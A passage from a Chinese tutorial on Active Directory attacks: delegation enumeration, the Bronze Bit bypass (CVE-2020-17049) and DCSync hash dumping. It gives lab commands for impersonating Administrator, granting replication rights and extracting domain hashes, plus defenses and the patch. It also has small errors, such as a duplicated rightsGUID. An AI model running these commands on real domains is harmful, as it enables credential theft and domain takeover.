利用Ldapsearch过滤samAccountType和msDS-AllowedToActOnBehalfOfOtherIdentity属性,命令如下。
#查询域中配置了基于资源的约束性委派的主机
Ldapsearch -x -H ldap://192.168.41.10:389 -D "hack@hack.com" -w Admin123 -b "DC=hack,DC=com" "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" | grep dn
#查询域中配置了基于资源的约束性委派的服务账户
Ldapsearch -x -H ldap://192.168.41.10:389 -D "hack@hack.com" -w Admin123 -b "DC=hack,DC=com" "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" | grep dn
查看某账户是否具有委派性¶
通过使用Empire下的PowerView.ps1脚本查看服务账户或机器账户的属性,进而查看某账户是否具有委派的属性。
Import-Module .\PowerView.ps1
#查询非约束性委派和约束性委派
Get-DomainUser 域账户名 -Properties useraccountcontrol,msds-allowedtodelegation | fl
Get-DomainComputer 机器账户名 -Properties useraccountcontrol,msds-allowedtodelegation | fl
#查询基于资源的约束性委派
Get-DomainUser 域账户名 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
Get-DomainComputer 机器账户名 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
当该账户没有委派的属性时,只有userAccountControl属性有值
- 服务账户的值为NORMAL_ACCOUNT
- 机器账户的值为WORKSTATION_TRUST_ACCOUNT
委派攻击原理¶
非约束委派¶
若某台主机被设置为了非约束委派时,当一个用户访问此主机时,会把自己的TGT发送给此主机,同时,此TGT会被保存在内存(lsass.exe)中以便后续使用,如果我们可以诱导域控制器访问此主机,域控制器就会把它的TGT发送到此主机上,如果我们可以获取到与控制器的TGT就可以生成黄金票据。
约束委派¶
user访问serviceA,向DC发起kerberos认证,域控返回user的TGT和ST1票据,user使用ST1票据对serviceA进行访问; 如果配置了serviceA到serviceB的约束委派,则serviceA能使用S4U2Proxy协议将用户发给自己的可转发的ST1票据以用户的身份发给DC;DC返回serviceA一个用来访问serviceB的ST2票据,这样serviceA就能以用户的身份对serviceB发起访问。
由于服务用户只能获取某个用户(或主机)的服务的ST1而非TGT , 所以只能模拟用户访问特定的服务 ;但是如果能够拿到约束委派用户(或主机)的明文密码或hash,那么就可以伪造S4U的请求,伪装成服务用户以任意用户的权限申请访问指定服务的ST2。
委派攻击实验¶
参考文章:https://www.freebuf.com/articles/network/370073.html
委派攻击防御¶
对于防守方或蓝队来说,如何针对委派攻击进行防御呢?总的来说,有以下几点:
- 高权限的用户设置不能被委派,如图所示,设置用户Administrator不能被委派

- 主机账户需要设置为委派时,只能设置为约束性委派
- Winodws 2012 R2 及跟高版本的系统创建了受保护的用户组(Protected Users),该组内的用户不允许被委派,将需要被保护的服务账户加入改组即可。
Kerberos Bronze Bit漏洞¶
漏洞背景¶
Kerberos Bronze Bit (CVE-2020-17049)漏洞是国外安全公司Netspi 安全研究员 Jake Karnes 发现的一个Kerberos安全功能绕过漏洞。该漏洞存在的原因在于KDC在确定Kerberos服务票据是否可用于通过Kerberos的约束性委派时,其方式中存在一个安全功能绕过漏洞。利用此漏洞,一个被配置为使用约束性委派的遭入侵服务可以篡改一个对委派无效的服务票据,从而迫使KDC接受它。
该漏洞启用的攻击是Kerberos委派引起的其它已知攻击的扩展。该漏洞绕过了现有攻击路径的以下两个缓解措施,提高了它们的有效性和通用功能性。
- 绕过了Protecd Users组内用户和设置了“敏感账号,不能被委派”的安全措施,导致了这些用户也可以被委派。
- 绕过在设置约束性委派时勾选“仅使用Kerberos”选项,既无法进行协议转换。
我们首先来看一下KDC在约束性委派和基于资源的约束性委派校验过程中对于通过S4u2Self 请求的ST如何进行验证,验证流程如图所示,KDC首先会检查通过S4u2Self请求的ST的forwardable标志位:
1)如果该为0,也就是不可转发,则会在验证是否是RBCD委派
- 如果不是RBCD委派,则不返回票据
- 如果是RBCD委派,则再检查被委派的用户是否设置了不能被委派
-
- 如果设置了,则不返回票据
-
- 如果没设置,则返回票据

2) 如果该位为1,也就是可转发,则会再验证两者之间是否有委派配置。
- 如果有委派配置,则返回票据
- 如果无委派配置,则不返回票据
从图中的流程可以看出,对于约束性委派和基于资源的约束性委派,最后不返回票据的原因各不相同。但是,只要forwardable标志位为1,则约束性委派和基于资源的约束性委派在S4u2Proxy这一步均能获得票据。因此,我们后续的攻击就能成功。
如图所示TGS-REP包,从中可以看出通过S4u2Self协议请求的ST是使用Service的Hash加密,且forwardable标志位不在已签名的PAC中,而我们又已知Service的Hash,因此我们可以使用Service的Hash解密Service的ST,然后将forwardable标志位设置为1,再重新加密,形成修改后的ServiceST。这一步不需要篡改PAC签名,并且KDC在验证PAC签名的时候也无法察觉到数据包被篡改。由于修改后的Service ST 的 forwardable 标志位为 1 ,因此在S4u2Proxy 这一步就能获得票据。

漏洞复现¶
实验环境如下:
- 域控:DC(192.168.41.10)
- 域管理员:Administrator
- 服务账户:hack
- 域:hack.com
约束性委派攻击绕过¶
首先我们注册一个服务账户,并对该服务账户配置约束性委派

如图所示,已经配置好了服务账户hack对cifs/DC.hack.com具有约束性委派,但是由于选择了“仅使用Kerberos”选项,因此不能进行协议转换。

如图所示设置域管理员Administrator为“敏感账户,不能被委派”。

当我们使用常规的委派攻击命令时,提示如下的错误信息。
[-] Kerberos SessionError:KDC_ERR_BADOPTION(KDC cannot accommodate requested option) [-] Probably SPN is not allowed to delegate by user test or inital TGT not forwardable

但当我们加上 -force-forwardable 参数绕过时,则成功获取到票据,如图所示:
#以Administrator身份请求一张访问cifs/DC.hack.com的票据,加上 -force-forwardable 绕过参数
python3 getST.py -dc-ip 192.168.41.10 hack.com/hack:Admin123 -spn cifs/DC.hack.com -impersonate Administrator -force-forwardable



基于资源的约束性委派攻击绕过¶
首先设置域管理员Administrator为“敏感账户,不能被委派”,然后再域控上配置用户hack到krbtgt服务具有基于资源的约束性委派,命令如下:
Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount hack
Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

当我们使用常规的基于资源的约束性委派攻击命令时,会提示如下错误信息

但当我们加上 -force-forwardable 参数时,则成功获取到票据,如图所示:
#以Administrator 身份请求一张访问Krbtgt服务的票据,加上-force-forwardable 绕过参数
python3 getST.py -dc-ip 192.168.41.10 -spn krbtgt -impersonate administrator hack.com/hack:Admin123 -force-forwardable
#导入该票据
export KRB5CCNAME=administrator.ccache

#以Administrator身份访问域控DC.hack.com
python3 smbexec.py -no-pass -k administrator@DC.hack.com -dc-ip 192.168.41.10

漏洞预防和修复¶
微软已经发布了该漏洞的补丁程序,可以直接通过Windows自动更新解决此问题。 那么该补丁是如何修复该漏洞的呢?微软在补丁包中新增加了一个票据签名。在S4u2Self阶段生成的服务票据,KDC用其密钥在票据上进行了签名,并将签名插入了PAC中,而后PAC又经过两次签名(使用服务密钥PAC_Server_CHECKSUM和使用KDC密钥PAC_PRIVSVR_CHECKSUM签名)。在之后的S4u2Proxy阶段,KDC才会返回票据,否则KDC将会返回KRB_AP_ERP_MODIFIED消息。这样,攻击者就无法修该数据包中的forwardable标志位了。
DCSync攻击¶
DCSync 是什么¶
在域环境中,不同域控制器(DC)之间,每 15 分钟都会有一次域数据的同步。当一个域控制器(DC 1)想从其他域控制器(DC 2)获取数据时,DC 1 会向 DC 2 发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync 就是利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求。
DCSync 是域渗透中经常会用到的技术,其被整合在了 Mimikatz 中。在 DCSync 功能出现之前,要想获得域用户的哈希,需要登录域控制器,在域控制器上执行代码才能获得域用户的哈希。
2015 年 8 月,Benjamin Delpy(神器 Mimikatz 的作者)和 Vincent Le Toux 发布了新版本的 Mimikatz,新增加了 DCSync 功能。该功能可以模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希。该功能最大的特点就是不用登陆域控制器,即可远程通过域数据同步复制的方式获得域控制器上的的数据。
注意:DCSync 攻击的对象如果是只读域控制器 (RODC),则会失效,因为 RODC 是不能参与复制同步数据到其他 DC 的。
在默认情况下,只有 Administrators、Domain Controllers 和 Enterprise Domain Admins 组内的用户有权限使用 DCSync,但我们可以对域内普通用户添加 ACL (Access Control List) 实现普通用户也能调用 DCSync 功能。
DCSync攻击前提¶
一个用户想发起 DCSync 攻击,必须获得以下任一用户的权限:
- Administrators组内的用户
- Domain Admins组内的用户
- Enterprise Admins组内的用户
- 域控制器的计算机帐户
即:默认情况下域管理员组具有该权限。
查询域内具有 DCSync 权限的用户¶
我们可以使用 Adfind 来查询域内具有 DCSync 权限的用户:
AdFind.exe -s subtree -b "DC=whoamianony,DC=org" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute
AdFind.exe -s subtree -b "DC=whoamianony,DC=org" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"DS-Replication-Get-Changes";; -recmute

修改DCSync的ACL¶
如何让普通域用户也获得DCSync的权限呢?一般情况下,只需要想普通域用户加入下面两条ACE即可:
- DS-Replication-Get-Changes:复制目录更改权限,该权限只能从给定的域复制数据,不包括私密域数据。该ACE的rightsGUID为:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2。
- DS-Replication-Get-Changes-ALL:复制目录更改所有项权限,该权限允许复制给定的任意域中的所有数据,包括私密域数据。该ACE为rightsGUID为:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2。
注意:其实还有 Replicating Directory Changes In Filtered Set(复制筛选集中的目录更改权限)但还是很少见,仅在某些环境中需要,所以可以忽略。该ACE的rightsGUID为:89e95b76-444d-4e62-991a-0facbeda640c。
(1) 图形化赋予指定用户的DCSync权限
打开“Active Directory 用户和计算机”——>"查看“——>"高级功能”,找到域 hack.com ,右击,选择“属性"选项,然后在弹出的对话框中单击"安全"选项卡的”高级“按钮,可以看到Domain Controlles具备"复制目录更改所有项的权限",这也就是为什么Domain Controlles具备 DCSync权限了。然后单击”添加" 按钮,"主体”选项选择需要赋予权限的用户,这里的选择用户 hack\jack,"应用于"选择“只是这个对象",如图所示

在”权限“下勾选”复制目录更改“和"复制目录更改所有项"复选框,如图所示,单机”确定“按钮就可以看到用户hack具有的权限了,如图所示:用户jack具有DCSync权限。


(2)Powershell脚本赋予指定用户DSCync权限
可以使用Empire下的PowerView.ps1脚本执行命令如下,赋予用户test DCSync权限。
Import-Module .\pwerview.ps1;
Add-DomainObjectAcl -TargetIdentity 'DC=hack,DC=com' -PrincipalIde test -Rights DCSync -Verbose
利用 DCSync 导出域内哈希¶
当我们获取相应的权限后,可以利用 DCSync 功能导出域内用户的哈希值。其原理就是利用 DRS (Directory Replication Service)协议通过 IDL_DRSGetNCChanges 从域控制器复制用户哈希凭据。获得了域内用户的哈希后可以进一步利用。
通过 Mimikatz¶
在获取权限的域成员主机上执行如下:
# 导出域内指定用户的信息(包括哈希值)
lsadump::dcsync /domain:whoamianony.org /user:administrator
lsadump::dcsync /domain:whoamianony.org /user:administrator /csv
# 导出域内所有用户的信息(包括哈希值)
lsadump::dcsync /domain:whoamianony.org /all
lsadump::dcsync /domain:whoamianony.org /all /csv

如上图所示,成功获取 Administrator 用户的 NTLM 哈希。
通过 Secretsdump.py¶
项目地址:https://github.com/SecureAuthCorp/impacket/tree/impacket_0_9_22
Secretsdump.py 是 Impacket 框架中的一个脚本,该脚本也可以通过 DCSync 技术导出域控制器上用户的哈希。该工具的原理是首先使用提供的用户登录凭据通过 smbexec 或者 wmiexec 远程连接至域控制器并获得高权限,进而从注册表中导出本地帐户的哈希,同时通过 Dcsync 或从 NTDS.dit 文件中导出所有域用户的哈希。其最大的优点是支持从域外的计算机连接至域控制器。
使用方法如下:
python3 secretsdump.py whoamianony/administrator:Whoami2021@192.168.93.30 -dc-ip 192.168.93.30 -just-dc-user administrator # 获取 administrator 用户的哈希
# python3 secretsdump.py domain/<username for DCSync>:password@<dc-ip> -dc-ip <dc-ip> -just-dc-user <username for DCSync>

python3 secretsdump.py whoamianony/administrator:Whoami2021@192.168.93.30 # 获取所有域用户哈希, 包括机器用户

通过 PowerShell¶
项目地址:https://gist.github.com/monoxgas/9d238accd969550136db#file-invoke-dcsync-ps1
该脚本可以通过 Invoke-ReflectivePEinjection 调用 mimikatz.dll 中的 DCSync 功能
在获取权限的域成员主机上执行如下命令即可:
Import-Module .\Invoke-DCSync.ps1
# 导出域内所有用户的哈希值
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize
# 导出域内指定用户的哈希值
Invoke-DCSync -DumpForest | ft -wrap -autosize
DCSync 的防御¶
DCSync 攻击的原理是模拟域控制器与域控制器之间的数据同步复制。最好的防御方法是给域控制器设置白名单。在域内,域控制器的数量、IP地址、MAC 地址是非常明确清晰的资产,将这些资产设置在允许同步的白名单内。非白名单的 IP 不允许发生数据同步
获取域内所有IP的脚本:
PowerShell:Get-ADDomainController -filter * | select IPv4Address
或
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers | select IPAddress
除此之外,我们还应尝试枚举 Active Directory 中所有用户的 ACL 查询出所有特权帐户,检测域内被添加 DCSync 权限的用户。Github 上有一个项目 ACLight便提供了这样的功能,只需执行项目中的 Execute-ACLight2.bat,便会生成以下三个文件:
Privileged Accounts - Layers Analysis.txt
Privileged Accounts Permissions - Final Report.csv
Privileged Accounts Permissions - Irregular Accounts.csv
文件中会显示出所有特权帐户。


参考文章:
https://www.freebuf.com/articles/network/286137.html
https://shu1l.github.io/2020/08/05/dcsync-yu-dcshadow-gong-ji-xue-xi/#DCSync%E9%98%B2%E5%BE%A1